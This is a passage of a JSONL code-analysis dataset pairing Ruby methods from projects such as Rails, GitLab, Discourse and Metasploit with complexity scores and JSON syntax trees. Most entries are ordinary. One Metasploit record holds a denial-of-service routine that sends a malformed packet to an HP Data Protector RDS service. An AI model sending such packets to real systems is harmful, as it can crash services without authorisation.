h).rjust(length * 2)\n s = s.scan(/.{2}/).map! { |x| x.hex.chr }.join\n endianess == 'big' ? s : s.reverse\n end","complexity_score":24.7,"ast_json":"{\"type\":\"def\",\"children\":[\"to_bytes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"num\"]},{\"type\":\"arg\",\"children\":[\"length\"]},{\"type\":\"optarg\",\"children\":[\"endianess\",{\"type\":\"str\",\"children\":[\"big\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"h\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"str\",\"children\":[\"%<num>x\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"num\"]},{\"type\":\"lvar\",\"children\":[\"num\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"0\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"length\"]},\"%\",{\"type\":\"int\",\"children\":[2]}]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"h\"]}]}]},\"rjust\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\".{2}\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"hex\"]},\"chr\"]}]},\"join\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"endianess\"]},\"==\",{\"type\":\"str\",\"children\":[\"big\"]}]},{\"type\":\"lvar\",\"children\":[\"s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"reverse\"]}]}]}]}","id":"5cf6fddd-f094-4317-8f4c-ad38b2302301"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/hp/data_protector_rds.rb","start_line":44,"raw_source":"def run\n buf = \"\\x23\\x8c\\x29\\xb6\" # Header\n buf << \"\\x64\\x00\\x00\\x00\" # Packet size\n buf << \"\\x41\" * 4 # Data\n\n connect\n print_status('Sending malformed packet...')\n sock.put(buf)\n disconnect\n end","complexity_score":9.75,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"str\",\"children\":[\"d\\u0000\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"A\"]},\"*\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending malformed packet...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"86cf358d-edb2-44df-b98c-2e53ab8767de"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/worker_management/dequeue.rb","start_line":22,"raw_source":"def get_queue_priority_for_worker(w)\n w[:class].respond_to?(:queue_priority) ? w[:class].queue_priority : MiqQueue::MIN_PRIORITY\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_queue_priority_for_worker\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"queue_priority\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]},\"queue_priority\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"MIN_PRIORITY\"]}]}]}","id":"5dcc8645-164a-4afc-8c72-8fe17aa983d6"} {"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/app/controllers/doorkeeper/authorizations_controller.rb","start_line":124,"raw_source":"def authorization\n @authorization ||= strategy.request\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"authorization\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@authorization\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"request\"]}]}]}","id":"0ab40163-3b14-4a2b-9d1f-3f39d30b193c"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/abstract_work_package.rb","start_line":187,"raw_source":"def expect_no_zen_mode\n expect(page).to have_no_css(\".zen-mode\")\n expect(page).to have_css(\"#main-menu\")\n expect(page).to have_css(\".op-app-header\")\n end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_no_zen_mode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"str\",\"children\":[\".zen-mode\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"#main-menu\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".op-app-header\"]}]}]}]}]}","id":"f9a0537a-9799-4328-996f-99c2bb90ba2c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb","start_line":291,"raw_source":"def writable?(base)\n info = nil\n\n begin\n info = query(base)\n rescue\n end\n\n if ((info != nil) &&\n (info['Available'] == false) &&\n (info['Protect'] & PROT_WRITE == PROT_WRITE))\n return true\n end\n\n return false\n end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"writable?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"lvar\",\"children\":[\"base\"]}]}]},{\"type\":\"resbody\",\"children\":[null,null,null]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"!=\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Available\"]}]},\"==\",{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Protect\"]}]},\"&\",{\"type\":\"const\",\"children\":[null,\"PROT_WRITE\"]}]},\"==\",{\"type\":\"const\",\"children\":[null,\"PROT_WRITE\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"f933419f-e5c5-4aa9-ba32-cc2883d7b4db"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/route_set.rb","start_line":707,"raw_source":"def merge_defaults(options)\n defaults ? defaults.merge(options) : options\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_defaults\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"defaults\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"defaults\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"e1aff59d-92e3-4989-95a9-c837c677717d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability_check_service.rb","start_line":58,"raw_source":"def check_mergeability(recheck)\n recheck! if recheck\n ref_updated = update_merge_status\n\n unless merge_request.can_be_merged?\n message = 'Merge request is not mergeable'\n\n if ref_updated\n return ServiceResponse.error(message: message, reason: :merge_status_race, payload: payload)\n else\n return ServiceResponse.error(message: message)\n end\n end\n\n unless payload.fetch(:merge_ref_head)\n return ServiceResponse.error(message: 'Merge ref cannot be updated')\n end\n\n ServiceResponse.success(payload: payload)\n end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check_mergeability\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recheck\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recheck\"]},{\"type\":\"send\",\"children\":[null,\"recheck!\"]},null]},{\"type\":\"lvasgn\",\"children\":[\"ref_updated\",{\"type\":\"send\",\"children\":[null,\"update_merge_status\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"can_be_merged?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"str\",\"children\":[\"Merge request is not mergeable\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref_updated\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"sym\",\"children\":[\"merge_status_race\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[null,\"payload\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"merge_ref_head\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Merge ref cannot be updated\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[null,\"payload\"]}]}]}]}]}]}","id":"ef6f3d7f-bd18-46e5-8baf-83c90e1f5328"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/post_alerter.rb","start_line":16,"raw_source":"def self.create_notification_alert(\n user:,\n post:,\n notification_type:,\n excerpt: nil,\n username: nil,\n group_name: nil\n )\n return if user.suspended?\n\n if post_url = post.url\n payload = {\n notification_type: notification_type,\n post_number: post.post_number,\n topic_title: post.topic.title,\n topic_id: post.topic.id,\n excerpt:\n excerpt ||\n post.excerpt(\n 400,\n text_entities: true,\n strip_links: true,\n remap_emoji: true,\n plain_hashtags: true,\n ),\n username: username || post.username,\n post_url: post_url,\n }\n payload[:group_name] = group_name if group_name.present?\n\n DiscourseEvent.trigger(:pre_notification_alert, user, payload)\n\n if user.allow_live_notifications?\n send_notification =\n DiscoursePluginRegistry.push_notification_filters.all? do |filter|\n filter.call(user, payload)\n end\n\n if send_notification\n payload =\n DiscoursePluginRegistry.apply_modifier(\n :post_alerter_live_notification_payload,\n payload,\n user,\n )\n MessageBus.publish(\"/notification-alert/#{user.id}\", payload, user_ids: [user.id])\n end\n end\n\n push_notification(user, payload)\n\n # deprecated. use push_notification instead\n DiscourseEvent.trigger(:post_notification_alert, user, payload)\n end\n end","complexity_score":44.78,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_notification_alert\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"post\"]},{\"type\":\"kwarg\",\"children\":[\"notification_type\"]},{\"type\":\"kwoptarg\",\"children\":[\"excerpt\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"username\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"group_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"suspended?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_type\"]},{\"type\":\"lvar\",\"children\":[\"notification_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"post_number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"excerpt\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"excerpt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"excerpt\",{\"type\":\"int\",\"children\":[400]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text_entities\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip_links\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remap_emoji\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain_hashtags\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_url\"]},{\"type\":\"lvar\",\"children\":[\"post_url\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_name\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"lvar\",\"children\":[\"group_name\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseEvent\"]},\"trigger\",{\"type\":\"sym\",\"children\":[\"pre_notification_alert\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"allow_live_notifications?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"send_notification\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"push_notification_filters\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send_notification\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"apply_modifier\",{\"type\":\"sym\",\"children\":[\"post_alerter_live_notification_payload\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/notification-alert/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_ids\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]}]},null]}]},null]},{\"type\":\"send\",\"children\":[null,\"push_notification\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseEvent\"]},\"trigger\",{\"type\":\"sym\",\"children\":[\"post_notification_alert\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},null]}]}]}","id":"3782159d-12cb-43a7-9de6-fdabbed74b9f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/import/user_mapping_helper.rb","start_line":38,"raw_source":"def generate_source_user(project, identifier, placeholder_user: nil)\n create_properties = placeholder_user.present? ? { placeholder_user: placeholder_user } : {}\n\n create(\n :import_source_user,\n source_user_identifier: identifier,\n source_hostname: project.safe_import_url,\n import_type: project.import_type,\n namespace: project.root_ancestor,\n **create_properties\n )\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_source_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"identifier\"]},{\"type\":\"kwoptarg\",\"children\":[\"placeholder_user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"create_properties\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"placeholder_user\"]},\"present?\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder_user\"]},{\"type\":\"lvar\",\"children\":[\"placeholder_user\"]}]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"import_source_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_user_identifier\"]},{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_hostname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"safe_import_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"import_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"import_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"root_ancestor\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_properties\"]}]}]}]}]}]}","id":"9614af5a-2f9c-4d33-87ba-dd9d4ae1e7b8"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/redundant_cop_enable_directive.rb","start_line":82,"raw_source":"def cop_name_indention(comment, name)\n comment.text.index(name)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cop_name_indention\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]},{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"text\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"a78dd886-7e8b-4e01-abce-5e21ca3ff007"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/hash_as_last_array_item.rb","start_line":55,"raw_source":"def last_array_item?(array, node)\n return false if array.child_nodes.all?(&:hash_type?)\n\n array.children.last.equal?(node)\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"last_array_item?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"array\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},\"child_nodes\"]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"hash_type?\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},\"children\"]},\"last\"]},\"equal?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"57bbca4a-a166-4d73-9138-e3ffac8e172c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/sidekiq_middleware/concurrency_limit/server_spec.rb","start_line":32,"raw_source":"def perform(*)\n self.class.work\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"work\"]}]}","id":"86088719-449a-4fe0-bb4d-d8277b4cef9a"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/relation_scoping_test.rb","start_line":602,"raw_source":"def test_forwarding_of_static_methods\n assert_equal \"a category...\", Category.what_are_you\n assert_equal \"a category...\", @welcome.categories.what_are_you\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_forwarding_of_static_methods\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"a category...\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"what_are_you\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"a category...\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@welcome\"]},\"categories\"]},\"what_are_you\"]}]}]}]}","id":"213387b0-f98e-4b31-96f3-01979aa65ba6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/commit_service.rb","start_line":216,"raw_source":"def diff_stats(left_commit_sha, right_commit_sha)\n request = Gitaly::DiffStatsRequest.new(\n repository: @gitaly_repo,\n left_commit_id: left_commit_sha,\n right_commit_id: right_commit_sha\n )\n\n response = gitaly_client_call(@repository.storage, :diff_service, :diff_stats, request, timeout: GitalyClient.medium_timeout)\n response.flat_map { |rsp| rsp.stats.to_a }\n end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_stats\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"left_commit_sha\"]},{\"type\":\"arg\",\"children\":[\"right_commit_sha\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"DiffStatsRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"left_commit_id\"]},{\"type\":\"lvar\",\"children\":[\"left_commit_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"right_commit_id\"]},{\"type\":\"lvar\",\"children\":[\"right_commit_sha\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"gitaly_client_call\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"storage\"]},{\"type\":\"sym\",\"children\":[\"diff_service\"]},{\"type\":\"sym\",\"children\":[\"diff_stats\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"medium_timeout\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rsp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsp\"]},\"stats\"]},\"to_a\"]}]}]}]}","id":"fcb436bd-38d3-4287-8885-6b8c10bd363a"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/message_pack/extensions.rb","start_line":140,"raw_source":"def read_complex(unpacker)\n Complex(unpacker.read, unpacker.read)\n 